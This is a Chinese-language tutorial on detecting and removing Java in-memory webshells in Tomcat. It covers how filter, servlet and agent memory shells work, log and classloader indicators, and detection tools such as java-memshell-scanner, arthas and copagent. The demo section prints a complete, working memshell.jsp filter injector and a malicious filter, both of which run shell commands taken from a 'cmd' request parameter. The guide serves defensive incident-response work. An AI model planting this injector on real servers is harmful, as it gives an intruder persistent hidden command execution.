内存马检测排查手段

内存马检测排查手段

前言

内存马是无文件落地webshell中最常见的攻击手段，随着攻防演练对抗强度越来越高，流量分析、EDR等专业安全设备被蓝方广泛使用，传统的文件上传的webshll以及文件形式的后门容易被检测到，文件shell明显气数已尽，而内存马因其隐蔽性等优点从而越来越盛行。

由客户端发起的Web请求后，中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作，内存马就是利用请求过程在内存中修改已有的组件或动态注册一个新的组件，插入恶意的shellcode，达到持久化控制服务器的目的。内存马可以通过访问存在漏洞的url加上命令执行参数，即可让服务器返回结果也可通过webshell管理工具例如：蚁剑、冰蝎、哥斯拉等进行远程连接后攻击目标。

内存马在语言类型上有PHP内存马，Python内存马，而本文主要侧重于“市场占有率”最高的java内存马的检测与查杀，java内存马又主要分为下面这三大类

• servlet-api类
  • filter型
  • servlet型
  • listener型
• spring类
  • 拦截器
  • controller型
• Java Instrumentation类
  • agent型

原理简述

servlet-api类

以filter内存马为例

Tomcat Filter工作流程：

• 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称

• 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig

• 找到对应的 FilterConfig 之后添加到 FilterChain中，并且返回 FilterChain

• filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ，然后从 FilterConfig 中获取 Filter，然后调用 Filter 的 doFilter 方法

根据上面的流程分析，不难发现最开始是从 context 中获取的 FilterMaps，将符合条件的依次按照顺序进行调用，那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面，这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ，然后添加到 FilterChain 中，最终触发内存马。

这类内存马会先创建了一个恶意的servlet，然后获取当前的StandardContext，将恶意servlet封装成wrapper添加到StandardContext的children当中，最后添加ServletMapping将访问的URL和wrapper进行绑定。执行上述代码后，访问当前应用的特定url路径，加上特定的参数就可以命令执行了。

Java-agent类

在 jdk 1.5 之后引入了 java.lang.instrument 包，该包提供了检测 java 程序的 Api，比如用于监控、收集性能信息、诊断问题，Java Agent 能够在不影响正常编译的情况下来修改字节码，即动态修改已加载或者未加载的类，包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法，将我们的恶意方法添加进去。

通过JVM Instrumentation 去修改一个已经加载的类的字节码，我们可以认为需要两个关键API

• retransformClasses
• redefineClasses

retransform class 可以简单理解为回滚操作，具体回滚到哪个版本，这个需要看情况而定，下面不管那种情况都有一个前提，那就是javaagent已经要求要有retransform的能力了：

如果类是在第一次加载的的时候就做了transform，那么做retransform的时候会将代码回滚到transform之后的代码 如果类是在第一次加载的的时候没有任何变化，那么做retransform的时候会将代码回滚到最原始的类文件里的字节码 如果类已经加载了，期间类可能做过多次redefine(比如被另外一个agent做过)，但是接下来加载一个新的agent要求有retransform的能力了，然后对类做redefine的动作，那么retransform的时候会将代码回滚到上一个agent最后一次做redefine后的字节码。

redefineClasses 对参数代码的类进行重新定义。针对的是已经加载的类。

比如，冰蝎内存马通过修改javax.servlet.http.HttpServlet#service方法，添加自己的内存马逻辑。

冰蝎的添加流程：

• 通过javaassist获取javax.servlet.http.HttpServlet类的字节码
• 向service方法添加字节码
• 清除javaassist缓存，调用redefineClass重新定义修改后的HttpServlet字节码

这样，http中间件在处理每个http链接的时候，就会调用修改后的httpservlet方法。如果发现处理的url为内存马需要响应的url，则执行webshell处理流程，否则隐藏不执行任何操作。

排查思路

作为应急或者运维人员，当遇到疑似内存马的安全事件时，该如何去快速确认内存马是否存在以及确认内存马的位置呢？大体思路如下

• 先查看检查服务器web日志，查看是否有可疑的web访问日志，比如说filter或者listener类型的内存马，会有大量url请求路径相同参数不同的，或者页面不存在但是返回200的请求。

• 如在web日志中并未发现异常，可以排查是否为中间件漏洞导致代码执行注入内存马，排查中间件的error.log日志查看是否有可疑的报错，根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell，排查框架漏洞，反序列化漏洞。

• 查看是否有类似哥斯拉、冰蝎特征的url请求，哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。

• 通过查找返回200的url路径对比web目录下是否真实存在文件，如不存在大概率为内存马。

内存马特征的识别

依然是以filter内存马举例

• filter特殊名称

内存马的Filter名一般比较特别，随便一点的可能有shell，Mem这种关键词或者随机数随机字母。当然这个特征并不是决定条件，因为讲究一点的攻击者也可以将filter伪装成web应用自带的名称。

• filter优先级

为了确保内存马在各种环境下都可以访问，往往需要把filter匹配优先级调至最高，比如shiro反序列化漏洞。

• web.xml中没有filter配置

内存马的Filter是动态注册的，所以在web.xml中肯定没有配置，如果发现了在web.xml中不存在的filter，那么这个filter就十分可疑了

• 特殊classloader加载

一般来说，正常的Filter都是由中间件的WebappClassLoader加载的。而攻击者利用的getshell攻击链往往具有明显的特征，比如反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个：

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

com.sun.org.apache.bcel.internal.util.ClassLoader

• 对应的classloader路径下没有class文件

所谓内存马就是代码驻留内存中，本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。(这也是很多内存马检测脚步实现的原理)

• Filter的doFilter方法中有恶意代码

我们可以把内存中所有的Filter的class dump出来，使用反编译工具分析看看，是否存在恶意代码，比如调用了：java.lang.Runtime.getRuntime，defineClass，invoke

检测工具

经过许多前辈对于内存马的攻防研究，开源社区中已经有很多优秀的项目能够实现对java内存马自动化检测排查，其中也包括一些本用于开发项目的jvm调试工具，下面一一介绍

一、java-memshell-scanner

这是c0ny1师傅编写的jsp内存马检测脚本

脚本地址https://github.com/c0ny1/java-memshell-scanner

和Filter相关的是filterDefs和filterMaps两个属性。这两个属性分别维护着全局Filter的定义，以及Filter的映射关系。和Servlet相关的是children和servletMappings两个属性。这两个属性分别维护这全家Servlet的定义，以及Servlet的映射关系。

request对象中存储着StandardContext对象，而他包含着以上的四个关键属性

request.getSession().getServletContext() {ApplicationContextFacade}
  -> context {ApplicationContext} 
    -> context {StandardContext}
      * filterDefs
      * filterMaps
      * children
      * servletMappings

所以只需要通过反射遍历request，最终就可以拿到Filter和Servlet的如下信息：

• Filter/Servlet名
• 匹配路径
• Class名
• ClassLoader
• Class文件存储路径。
• 内存中Class字节码（方便反编译审计其是否存在恶意代码）
• 该Class是否有对应的磁盘文件（判断内存马的重要指标）

该脚本的使用也非常简单，将 java-memshell-scanner 脚本放在能访问的web路径下，然后直接访问就可以获得结果

二、arthas

Arthas 是Alibaba开源的Java诊断工具，不是专门用户内存马的检测，但是由于java内存马相当于利用了jvm的底层特性，所以可以给我们对内存马的排查带来很多便利

项目地址https://github.com/alibaba/arthas

java -jar arthas-boot.jar #启动arthas分析工具

对web项目的jvm进程进行分析

mbean | grep "Servlet" #查看 Mbean 的信息，查看异常Filter/Servlet节点

sc *.Filter   #搜索符合pattern的Filter

jad --source-only org.apache.jsp.memshell_jsp  #反编译指定类

这里可以看到，反编译输出的结果能很清晰的查看到内存马的恶意语句

三、sa-jdi

sa-jdi.jar 是jdk内自带的jvm调试工具，由于macOS原生不支持这个工具的attach功能，所以切换到windows来做测试

jps -l #查看jvm进程号

在 File - Attach 选项中输入要 attach 的进程号

attach 之后进入 Tools - Class Browser 选项

和arthas一样，也可以对内存中可疑的class进行搜索，比如搜索 shell

查看恶意类的字节码，这里如果想进行进一步的分析，可以使用其他dump，反编译工具来将class文件输出为可读性更好的代码，比如dumpclass工具，jd-gui反编译工具

四、FindShell

findshell是4ra1n师傅写的一个内存马检测工具，其中对class的dump功能也是调用了上文sa-jdi的接口

项目地址https://github.com/geekmc/FindShell

这里项目内没有提供FindShell的release包，需要自己编译，如果遇到编译不通过，可以在pom.xml里面把报错的依赖项改成绝对路径

java -jar FindShell-1.0.jar --pid 22472 --debug

自动在当前out文件夹下面输出dump下来的可疑字节码

五、copagent

LandGrey师傅写的自动化分析内存马jar包，项目提供了生成好的release包

项目地址https://github.com/LandGrey/copagent

jar包地址https://github.com/LandGrey/copagent/raw/release/cop.jar

copagent借鉴了arthas的设计思路，不过自动化程度更高，在输入jvm进程号后，对可能存在的内存马自动分析，并输出报告

输出结果，可以看到，这里没有增加任何对恶意类的样式筛选，copagent自动分析出了风险程度最高的memshell_jsp类

实例演示

内存马原理演示

用Idea创建tomcat基础web项目

创建MemServlet.java

#MemServlet.java

package org.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/MemServlet")
public class MemServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doGet(req, resp);
        resp.getWriter().write("Test Servlet memshell");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doPost(req, resp);
    }
}

创建filterDemo

#filterDemo.java

package org.example;

import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {}
}

在web.xml中注册filter

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>org.example.filterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>

</web-app>

运行项目，访问/demo，filter成功运行

创建内存马memshell.jsp，功能是访问之后会自动注入到filterMaps最前面，每次调用filter最先触发内存马

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "cyc1ops";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

访问内存马，显示注入成功

尝试在项目任意路径下添加cmd参数进行命令执行，命令执行成功

内存马查杀演示

用Idea创建一个基础的tomcat web项目，新建一个基本的Servlet

#TestServlet.java

package org.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doGet(req, resp);
        resp.getWriter().write("Test Servlet memshell");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doPost(req, resp);
    }
}

新建一个恶意filter

#cmd_filters.java

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebFilter("/*")
public class cmd_Filters implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

运行项目，访问项目下任意路径，添加cmd参数，命令执行成功

直接把 java-memshell-scanner 脚本放在web目录下，访问

可以看到列表中的恶意filter class文件

此时即使删除class文件，磁盘中已经不存在对应的class文件，脚本仍然可以检测出来，因为是从内存中dump下来的，点击后面的dump选项，可以对恶意样本进行采样

点击列表后的kill选项，成功对恶意filter进行注销，销毁内存马